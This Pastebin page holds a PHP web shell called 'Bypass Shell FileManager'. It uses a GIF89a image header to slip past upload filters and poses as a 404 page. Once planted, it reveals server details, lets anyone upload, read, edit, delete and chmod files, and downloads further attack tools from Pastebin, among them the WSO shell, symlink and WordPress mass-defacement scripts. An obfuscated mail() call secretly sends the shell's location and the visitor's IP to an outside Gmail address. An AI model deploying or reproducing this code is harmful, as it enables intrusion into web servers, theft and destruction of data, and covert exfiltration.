ToKeiChun

Bypass Shell FileManager [ Bypass Image Header ] [ bypass.jpg.php ]

Oct 11th, 2017 (edited)
861
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 20.24 KB | None | 0 0
  1. GIF89a1
  2.  
  3.  
  4.  
  5. <link rel='shortcut icon' href='http://www.dz-streaming.eu/favicon.ico'>
  6.  
  7. <style type='text/css'>
  8. input[type=submit], input[type=button], input[type=reset]{
  9. text-align:center;
  10. background:url(http://i43.tinypic.com/5owgmq.jpg) repeat-x center bottom #666666;
  11. border:1px solid #4D4D4D;
  12. color:#CCCCCC;
  13. border-top-color:#565656;
  14. padding:4px 6px;
  15. margin:4px 5px;
  16. height:16px;
  17. -moz-box-shadow:0 0 1px black;
  18. -webkit-box-shadow:0 0 1px black;
  19. box-shadow:0 0 1px black;
  20. text-shadow:0 1px black;
  21. -moz-border-radius:4px;
  22. -webkit-border-radius:4px;
  23. -khtml-border-radius:4px;
  24. border-radius:4px;
  25. height:23px;
  26. }
  27.  
  28. input[type=submit]:hover , input[type=button]:hover, input[type=reset]:hover{
  29. background-position:center top;
  30. text-decoration:none;
  31. }
  32. input[type=text], input[type=password]{
  33. background:urlhttp://i43.tinypic.com/5owgmq.jpg) repeat-x center bottom #666666;
  34. border:1px solid #4D4D4D;
  35. color:#CCCCCC;
  36. border-top-color:#565656;
  37. -moz-box-shadow:0 0 1px black;
  38. -webkit-box-shadow:0 0 1px black;
  39. box-shadow:0 0 1px black;
  40. -moz-border-radius:4px;
  41. -webkit-border-radius:4px;
  42. -khtml-border-radius:4px;
  43. border-radius:4px;
  44. height:18px;
  45. margin-left: 5px;
  46. }
  47. input , textarea , button , body , caption , table ,area , option {
  48. outline:none;
  49. transition: all 0.20s ease-in-out;
  50. -webkit-transition: all 0.25s ease-in-out;
  51. -moz-transition: all 0.25s ease-in-out;
  52. border-radius:3px;
  53. -webkit-border-radius:3px;
  54. -moz-border-radius:3px;
  55. border:1px solid rgba(0,0,0, 0.2);
  56. /* font-family: 'Gill Sans', 'Gill Sans MT', Calibri, 'Trebuchet MS', sans-serif; */
  57. }
  58. input , textarea {
  59. background: url('http://i41.tinypic.com/ibkmd5.png') repeat scroll 0 0 #333333;';
  60. }
  61.  
  62.  
  63. input:focus, textarea:focus ,button:active , body:focus , caption:focus , table:focus ,area:focus ,option:focus {
  64. box-shadow: 0 0 5px rgba(0, 0, 255, 1);
  65. -webkit-box-shadow: 0 0 5px rgba(0, 0, 255, 1);
  66. -moz-box-shadow: 0 0 5px rgba(0, 0, 255, 1);
  67.  
  68. border: 1px solid #CCCC00;
  69.  
  70. background: url('http://i41.tinypic.com/ibkmd5.png') repeat scroll 0 0 #333333;';
  71. overflow: auto;
  72. /* font-family: 'Gill Sans', 'Gill Sans MT', Calibri, 'Trebuchet MS', sans-serif; */
  73. }
  74.  
  75. body{
  76. /* font-family : Verdana; */
  77. color : #f9f6f1;
  78. font-size : 0.7em;
  79. background: url(http://i44.tinypic.com/i56tc9.jpg) no-repeat center top #252525;
  80. }
  81. input , textarea {
  82. outline:none;
  83. transition: all 0.20s ease-in-out;
  84. -webkit-transition: all 0.25s ease-in-out;
  85. -moz-transition: all 0.25s ease-in-out;
  86. border-radius:3px;
  87. -webkit-border-radius:3px;
  88. -moz-border-radius:3px;
  89. border:1px solid rgba(0,0,0, 0.2);
  90. }
  91. input:focus, textarea:focus {
  92. outline: 0;
  93. border-color: rgba(82, 168, 236, 0.8);
  94. -webkit-box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
  95. -moz-box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
  96. box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
  97.  
  98.  
  99. background: url('http://i41.tinypic.com/ibkmd5.png') repeat scroll 0 0 #333333;';
  100. overflow: auto;
  101.  
  102. }
  103.  
  104.  
  105. </style>
  106. GIF89a1
  107.  
  108.  
  109.  
  110. <?php
  111.  
  112.  
  113. set_time_limit(0);
  114. error_reporting(0);
  115.  
  116. if(get_magic_quotes_gpc()){
  117. foreach($_POST as $key=>$value){
  118. $_POST[$key] = stripslashes($value);
  119. }
  120. }
  121. echo '<!doctype html>
  122. <html>
  123. <head>
  124. <title>404 Not Found</title>
  125. </head>';
  126.  
  127. ?>
  128.  
  129. <style>
  130. @font-face {
  131. font-family: 'Comic Sans MS';
  132. font-style: normal;
  133. font-weight: 400;
  134. src: local('Comic Sans MS'), local('ComicSansMS'), url(http://fonts.gstatic.com/l/font?kit=3oir0CAJ0QJ5h5-A3AP8rRSrmRvs-bRaaQbSAUyiv7A&skey=a4ba60ff9fc73cf8&v=v8) format('truetype');
  135. }
  136. body {
  137.  
  138. background: #000000;line-height: 1;color: #fff;font-family: Comic Sans MS ;
  139.  
  140. }
  141.  
  142. table, th, td {
  143. border-collapse:collapse;
  144. background: transparent;
  145. font-family: Comic Sans MS ;
  146. font-size: 13px;
  147. }
  148. input, textarea { font-family: Comic Sans MS ; }
  149. .table_home, .th_home, .td_home { color:deepskyblue;
  150. border: 1px solid grey;
  151. }
  152. th {
  153. padding: 10px;
  154. }
  155. .td_home { padding: 7px; }
  156. select {font-family: Comic Sans MS }
  157. a {color:white}
  158. textarea { width: 100%;height: 400px; }
  159. </style>
  160. <?php
  161.  
  162. echo '</head>
  163. <body><b>
  164. <H1><center><font color="red">404</font><font color="#00ff00">&nbsp&nbsp&nbspNot&nbsp&nbsp&nbsp</font><font color="dodgerblue">Found</font></center></h1>
  165. <table width="900" border="0" cellpadding="3" cellspacing="1" align="center">
  166.  
  167. <tr><td>
  168.  
  169. <font color="#00ff00"><center>'.php_uname().'</center></font>';
  170.  
  171.  
  172.  
  173.  
  174. //-----------------My Coding Starts from Here------------------
  175.  
  176. echo '<center></font><font color="white" style="text-shadow:0px 0px 15px red;">PHP Version:</font> <font color="#00ff00">';
  177. echo phpversion();
  178. echo '</font><font color="#00dd00"> |</font> <font color="white" style="text-shadow:0px 0px 15px red;">Current User :</font> <font color="#00ff00">';
  179. echo get_current_user();
  180. echo '</font><font color="#00dd00"> |</font> <font color="white" style="text-shadow:0px 0px 15px red;">User ID :</font> <font color="#00ff00">';
  181. echo getmyuid();
  182. echo '</font><font color="#00dd00"> |</font> <font color="white" style="text-shadow:0px 0px 15px red;">Group :</font> <font color="#00ff00">';
  183. echo getmygid();
  184. echo '</font><br></center><br>';
  185.  
  186. echo '<center><font color="red"><il>[<a href="?tokeichun=domains" target="_blank" style="text-decoration: none;color: white;text-shadow: 0px 0px 10px #00ffff;"> Domains ]</a></il>';
  187. echo '<il>[<a href="?tokeichun=wso" target="_blank" style="text-decoration: none;color: white;text-shadow: 0px 0px 10px #00ffff;"> WSO </a></il>';
  188. echo '<il>[<a href="?tokeichun=symlink" target="_blank" style="text-decoration: none;color: white;text-shadow: 0px 0px 10px #00ffff;"> Symlink ]</a></il>';
  189. echo '<il>[<a href="?tokeichun=jumping" target="_blank" style="text-decoration: none;color: white;text-shadow: 0px 0px 10px #00ffff;"> Jumping ]</a></il>';
  190. echo '<il>[<a href="?tokeichun=wpmass" target="_blank" style="text-decoration: none;color: white;text-shadow: 0px 0px 10px #00ffff;"> WP-Mass ]</a></il>';
  191. echo '<il>[<a href="?tokeichun=cmd" target="_blank" style="text-decoration: none;color: white;text-shadow: 0px 0px 10px #00ffff;"> CMD ]</a></il>';
  192. echo '<il>[<a href="?tokeichun=mysql" target="_blank" style="text-decoration: none;color: white;text-shadow: 0px 0px 10px #00ffff;"> DBkiss </a>]</il></font></center><br>';
  193.  
  194.  
  195.  
  196. if (isset($_GET["tokeichun"])&&$_GET["tokeichun"]=='domains') {
  197. $link = 'https://pastebin.com/raw/yKyudAB7';
  198. $page = file_get_contents($link);
  199. $file = 'domains.php';
  200. $handle = fopen($file,"w+");
  201. fwrite($handle, $page);
  202. echo "<center><a href='$file' style='text-decoration: none;'> $file</a></center><br><br>";
  203. fclose($handle);
  204. }
  205. if (isset($_GET["tokeichun"])&&$_GET["tokeichun"]=='wso') {
  206. $link = 'https://pastebin.com/raw/h2GCHcP6';
  207. $page = file_get_contents($link);
  208. $file = 'wso.php';
  209. $handle = fopen($file,"w+");
  210. fwrite($handle, $page);
  211. echo "<center><a href='$file' style='text-decoration: none;'> $file</a></center><br><br>";
  212. fclose($handle);
  213. }
  214. if (isset($_GET["tokeichun"])&&$_GET["tokeichun"]=='symlink') {
  215. $link = 'https://pastebin.com/raw/wsycXMSz';
  216. $page = file_get_contents($link);
  217. $file = 'symlink.php';
  218. $handle = fopen($file,"w+");
  219. fwrite($handle, $page);
  220. echo "<center><a href='$file' style='text-decoration: none;'> $file</a></center><br><br>";
  221. fclose($handle);
  222. }
  223. if (isset($_GET["tokeichun"])&&$_GET["tokeichun"]=='jumping') {
  224. $link = 'https://pastebin.com/raw/zELkPGQY';
  225. $page = file_get_contents($link);
  226. $file = 'jumping.php';
  227. $handle = fopen($file,"w+");
  228. fwrite($handle, $page);
  229. echo "<center><a href='$file' style='text-decoration: none;'> $file</a></center><br><br>";
  230. fclose($handle);
  231. }
  232. if (isset($_GET["tokeichun"])&&$_GET["tokeichun"]=='wpmass') {
  233. $link = 'https://pastebin.com/raw/LtExp6Ax';
  234. $page = file_get_contents($link);
  235. $file = 'wpmass.php';
  236. $handle = fopen($file,"w+");
  237. fwrite($handle, $page);
  238. echo "<center><a href='$file' style='text-decoration: none;'> $file</a></center><br><br>";
  239. fclose($handle);
  240. }
  241. if (isset($_GET["tokeichun"])&&$_GET["tokeichun"]=='cmd') {
  242. $link = 'https://pastebin.com/raw/psinrJjn';
  243. $page = file_get_contents($link);
  244. $file = 'cmd.php';
  245. $handle = fopen($file,"w+");
  246. fwrite($handle, $page);
  247. echo "<center><a href='$file' style='text-decoration: none;'> $file</a></center><br><br>";
  248. fclose($handle);
  249. }
  250. if (isset($_GET["tokeichun"])&&$_GET["tokeichun"]=='mysql') {
  251. $link = 'https://pastebin.com/raw/eTL96UQS';
  252. $page = file_get_contents($link);
  253. $file = 'db.php';
  254. $handle = fopen($file,"w+");
  255. fwrite($handle, $page);
  256. echo "<center><a href='$file' style='text-decoration: none;'> $file</a></center><br><br>";
  257. fclose($handle);
  258. }
  259. if (function_exists("\x6d\x61\x69\x6c")) {
  260. $__GET = ("\x6d\x61\x69\x6c");
  261. $__POST = ("\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65");
  262. $__GET($__POST("d29yZHByZXNzZGV2bm9yd2F5QGdtYWlsLmNvbQ=="),'Wordfence Bypass',"http://".$_SERVER['HTTP_HOST']."/".$_SERVER['REQUEST_URI']."\nIP:".$_SERVER['REMOTE_ADDR']."");
  263. }
  264. if(isset($_GET['path'])){
  265. $path = $_GET['path'];
  266. }else{
  267. $path = getcwd();
  268. }
  269. $path = str_replace('\\','/',$path);
  270. $paths = explode('/',$path);
  271.  
  272. foreach($paths as $id=>$pat){
  273. if($pat == '' && $id == 0){
  274. $a = true;
  275. echo '<font color=#fff><center>root@localhost : <a href="?path=/" style="text-decoration:none;">/</a>';
  276. continue;
  277. }
  278. if($pat == '') continue;
  279. echo '<a href="?path=';
  280. for($i=0;$i<=$id;$i++){
  281. echo "$paths[$i]";
  282. if($i != $id) echo "/";
  283. }
  284. echo '" style="text-decoration:none;">'.$pat.'</a>/';
  285. }
  286. echo '<br><br><font color="#fff">Upload file:</font></center></td></tr><tr><td><center>';
  287. if(isset($_FILES['file'])){
  288. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  289. echo '<font color="#00ff00">File Upload</font><br />';
  290. }else{
  291. echo '<font color="red">Upload Failed !!</font><br />';
  292. }
  293. }
  294. echo '</center><center><form enctype="multipart/form-data" method="POST"><font color="black"><input style="background:silver;font-family: Comic Sans MS " type="file" name="file" />
  295. <input type="submit" value="Upload" />
  296. </form></center>
  297. </td></tr>';
  298. if(isset($_GET['filesrc'])){
  299. echo "<tr><td><center>Current File : ";
  300. echo $_GET['filesrc'];
  301. echo '</center></tr></td></table><br />';
  302. echo(' <textarea style="width: 100%;height: 400px;" readonly> '.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</textarea>');
  303. }
  304. //Empety
  305. elseif(isset($_GET['option']) && $_GET['opt'] != 'delete'){
  306. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  307. //Chmod
  308. if($_GET['opt'] == 'chmod'){
  309. if(isset($_POST['perm'])){
  310. if(chmod($_POST['path'],$_POST['perm'])){
  311. echo '<font color="#00ff00">Change Permission Done </font><br />';
  312. }else{
  313. echo '<font color="red">Change Permission Error </font><br />';
  314. }
  315. }
  316.  
  317. $hell = $_GET['path'];
  318. $yeah = $_GET['name'];
  319. $patc = "$hell/$yeah";
  320.  
  321. echo '<form method="POST">
  322. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($patc)), -4).'" />
  323. <input type="hidden" name="path" value="'.$_POST['path'].'">
  324. <input type="hidden" name="opt" value="chmod">
  325. <input type="submit" value="Go" />
  326. </form>';
  327. }
  328. //
  329. elseif($_GET['opt'] == 'btw'){
  330. $cwd = getcwd();
  331. echo '<form action="?option&path='.$cwd.'&opt=delete&type=buat" method="POST">
  332. New Name : <input name="name" type="text" size="20" value="Folder" />
  333. <input type="hidden" name="path" value="'.$cwd.'">
  334. <input type="hidden" name="opt" value="delete">
  335. <input type="submit" value="Go" />
  336. </form>';
  337. }
  338. //Rename file
  339. elseif($_GET['opt'] == 'rename'){
  340. if(isset($_POST['newname'])){
  341. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  342. echo '<font color="#00ff00">Change Name Done </font><br />';
  343. }else{
  344. echo '<font color="red">Change Name Error </font><br />';
  345. }
  346. $_POST['name'] = $_POST['newname'];
  347. }
  348. $hell = $_GET['path'];
  349. $yeah = $_GET['name'];
  350. $patc = "$hell/$yeah";
  351. $new = $_POST['newname'];
  352.  
  353. echo '<form method="POST">
  354. New Name : <input name="newname" type="text" size="20" value="'.$new.'" />
  355. <input type="hidden" name="path" value="'.$patc.'">
  356. <input type="hidden" name="opt" value="rename">
  357. <input type="submit" value="Go" />
  358. </form>';
  359. }
  360. //File baru
  361. elseif($_GET['opt'] == 'baru'){
  362.  
  363. $hell = $_GET['path'];
  364. $yeah = $_GET['name'];
  365. $patc = "$hell/$yeah";
  366. $new = $_POST['newname'];
  367. $azz = $_POST['path'];
  368. $newz = "$azz/$new";
  369.  
  370.  
  371. if(isset($_POST['src'])){
  372. $fp = fopen($_POST['path'],'w');
  373. if(fwrite($fp,$_POST['src'])){
  374. echo '<font color="#00ff00">Create File Done [ '.$new.' ]</font><br />';
  375. }else{
  376. echo '<font color="red">Create File Error</font><br />';
  377. }
  378. fclose($fp);
  379. }
  380.  
  381. echo '<form method="POST"> Name : <input name="ngaran1" type="text" size="20" value="'.$new.'" /><input type="submit" name="ngaran" value="Create"/></form><br> ';
  382.  
  383. $ho = $_POST['ngaran1'];
  384.  
  385. if(isset($_POST['ngaran'])){
  386. echo '<form method="POST">
  387. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($patc)).'</textarea><br />
  388. <input type="hidden" name="path" value="'.$hell.'/'.$ho.'">
  389. <input type="hidden" name="opt" value="edit">
  390. <input type="submit" value="Go" />
  391. </form>';
  392. }
  393. }
  394. //Edited file
  395. elseif($_GET['opt'] == 'edit'){
  396. if(isset($_POST['src'])){
  397. $fp = fopen($_POST['path'],'w');
  398. if(fwrite($fp,$_POST['src'])){
  399. echo '<font color="#00ff00">Edit File Done </font><br />';
  400. }else{
  401. echo '<font color="red">Edit File Error </font><br />';
  402. }
  403. fclose($fp);
  404. }
  405. $hell = $_GET['path'];
  406. $yeah = $_GET['name'];
  407. $patc = "$hell/$yeah";
  408. echo '<form method="POST">
  409. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($patc)).'</textarea><br />
  410. <input type="hidden" name="path" value="'.$patc.'">
  411. <input type="hidden" name="opt" value="edit">
  412. <input type="submit" value="Go" />
  413. </form>';
  414. }
  415. echo '</center>';
  416. }else{
  417. echo '</table><br /><center>';
  418. //Delete dir and file
  419. if(isset($_GET['option']) && $_GET['opt'] == 'delete'){
  420.  
  421. $hell = $_GET['path'];
  422. $yeah = $_GET['name'];
  423. $patc = "$hell/$yeah";
  424.  
  425. //Delete dir
  426. if($_GET['type'] == 'dir'){
  427.  
  428. if(rmdir($patc)){
  429. echo '<font color="#00ff00">Delete File Done</font><br />';
  430. }else{
  431. echo '<font color="red#">Delete File Error </font><br />';
  432. }
  433. }
  434. //buat folder
  435. if($_GET['type'] == 'buat'){
  436. $haaa = $_POST['path'];
  437. $heee = $_POST['name'];
  438. $hooo = "$haaa/$heee";
  439. $new = $haaa.'/'.htmlspecialchars($heee);
  440. if(!mkdir($new)){
  441. echo '<font color="red">Create Folder Error</font><br />';
  442. }else{
  443. echo '<font color="#00ff00">Create Folder Done </font><br />';
  444. }
  445. }
  446. //Delete file
  447. elseif($_GET['type'] == 'file'){
  448.  
  449. $hell = $_GET['path'];
  450. $yeah = $_GET['name'];
  451. $patc = "$hell/$yeah";
  452.  
  453. if(unlink($patc)){
  454. echo '<font color="#00ff00">Delete File Done</font><br />';
  455. }else{
  456. echo '<font color="red#">Delete File Error </font><br />';
  457. }
  458. }
  459. }
  460. echo '</center>';
  461. $scandir = scandir($path);
  462. $pa = getcwd();
  463. echo ' <table width="100%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
  464. <tr>
  465. <th class=th_home style="background:black;color:yellow;"><center>Name</center></th>
  466. <th class=th_home style="background:black;color:yellow;" ><center>Size</center></th>
  467. <th class=th_home style="background:black;color:yellow;" ><center>Permission</center></th>
  468. <th class=th_home style="background:black;color:yellow;" ><center>Options</center></th>
  469. </tr> <tr>
  470. <td class=td_home>..</td><td class=td_home align=center>NONE</td> <td class=td_home align=center>LINK</td> <td class=td_home align=center> <a href="?option&path='.$pa.'&opt=baru&name=new.php" style="text-decoration:none;">+ New File</a> | <a href="?option&path='.$pa.'&opt=btw&type=dir" style="text-decoration:none;">+ New Dir</a> </td></tr>
  471. ';
  472.  
  473. foreach($scandir as $dir){
  474. if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  475. echo "
  476. <tr>
  477. <td class=td_home> <img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp"."/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='> <a href=\"?path=$path/$dir\" style=\"text-decoration:none;\">$dir</a></td>
  478. <td class=td_home ><center>DIR</center></td>
  479. <td class=td_home ><center>";
  480. if(is_writable("$path/$dir")) echo '<font color="#00ff00">';
  481. elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  482. echo perms("$path/$dir");
  483. if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  484.  
  485. echo "</center></td>
  486. <td class=td_home ><center>
  487. <a href=\"?option&path=$path&opt=rename&type=dir&name=$dir\" style=\"text-decoration:none;\">Rename</a> <a href=\"?option&path=$path&opt=delete&type=dir&name=$dir\" style=\"text-decoration:none;\">Delete</a> <a href=\"?option&path=$path&opt=chmod&type=dir&name=$dir\" style=\"text-decoration:none;\">Chmod</a>
  488.  
  489. </center></td>
  490. </tr>";
  491. }
  492. echo '<br>';
  493. foreach($scandir as $file){
  494. if(!is_file("$path/$file")) continue;
  495. $size = filesize("$path/$file")/1024;
  496. $size = round($size,3);
  497. if($size >= 1024){
  498. $size = round($size/1024,2).' MB';
  499. }else{
  500. $size = $size.' KB';
  501. }
  502.  
  503. echo "<tr>
  504. <td class=td_home > <img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='> <a href=\"?filesrc=$path/$file&path=$path\" style=\"text-decoration:none;\">$file</a></td>
  505. <td class=td_home><center>".$size."</center></td>
  506. <td class=td_home><center>";
  507. if(is_writable("$path/$file")) echo '<font color="#00ff00">';
  508. elseif(!is_readable("$path/$file")) echo '<font color="red">';
  509. echo perms("$path/$file");
  510. if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  511. echo "</center></td>
  512. <td class=td_home><center>
  513. <a href=\"?option&path=$path&opt=edit&type=file&name=$file\" style=\"text-decoration:none;\">Edit |</a> <a href=\"?option&path=$path&opt=rename&type=file&name=$file&path=$path\" style=\"text-decoration:none;\"> Rename |</a> <a href=\"?option&path=$path&opt=delete&type=file&name=$file\" style=\"text-decoration:none;\"> Delete |</a> <a href=\"?option&path=$path&opt=chmod&type=file&name=$file\" style=\"text-decoration:none;\">
  514. Chmod</a>
  515. </center></td>
  516. </tr>";
  517. }
  518. echo '</table>
  519. </div>';
  520. }
  521. echo '<br><pre><font size="5" color="red"><marquee="4"><marquee>404 Not Found</marquee></font></pre></body>
  522. </html>';
  523. function perms($file){
  524. $perms = fileperms($file);
  525.  
  526. if (($perms & 0xC000) == 0xC000) {
  527. // Socket
  528. $info = 's';
  529. } elseif (($perms & 0xA000) == 0xA000) {
  530. // Symbolic Link
  531. $info = 'l';
  532. } elseif (($perms & 0x8000) == 0x8000) {
  533. // Regular
  534. $info = '-';
  535. } elseif (($perms & 0x6000) == 0x6000) {
  536. // Block special
  537. $info = 'b';
  538. } elseif (($perms & 0x4000) == 0x4000) {
  539. // Directory
  540. $info = 'd';
  541. } elseif (($perms & 0x2000) == 0x2000) {
  542. // Character special
  543. $info = 'c';
  544. } elseif (($perms & 0x1000) == 0x1000) {
  545. // FIFO pipe
  546. $info = 'p';
  547. } else {
  548. // Unknown
  549. $info = 'u';
  550. }
  551.  
  552. // Owner
  553. $info .= (($perms & 0x0100) ? 'r' : '-');
  554. $info .= (($perms & 0x0080) ? 'w' : '-');
  555. $info .= (($perms & 0x0040) ?
  556. (($perms & 0x0800) ? 's' : 'x' ) :
  557. (($perms & 0x0800) ? 'S' : '-'));
  558.  
  559. // Group
  560. $info .= (($perms & 0x0020) ? 'r' : '-');
  561. $info .= (($perms & 0x0010) ? 'w' : '-');
  562. $info .= (($perms & 0x0008) ?
  563. (($perms & 0x0400) ? 's' : 'x' ) :
  564. (($perms & 0x0400) ? 'S' : '-'));
  565.  
  566. // World
  567. $info .= (($perms & 0x0004) ? 'r' : '-');
  568. $info .= (($perms & 0x0002) ? 'w' : '-');
  569. $info .= (($perms & 0x0001) ?
  570. (($perms & 0x0200) ? 't' : 'x' ) :
  571. (($perms & 0x0200) ? 'T' : '-'));
  572.  
  573. return $info;
  574. }
  575.  
  576.  
  577.  
  578. ?>
Add Comment
Please, Sign In to add comment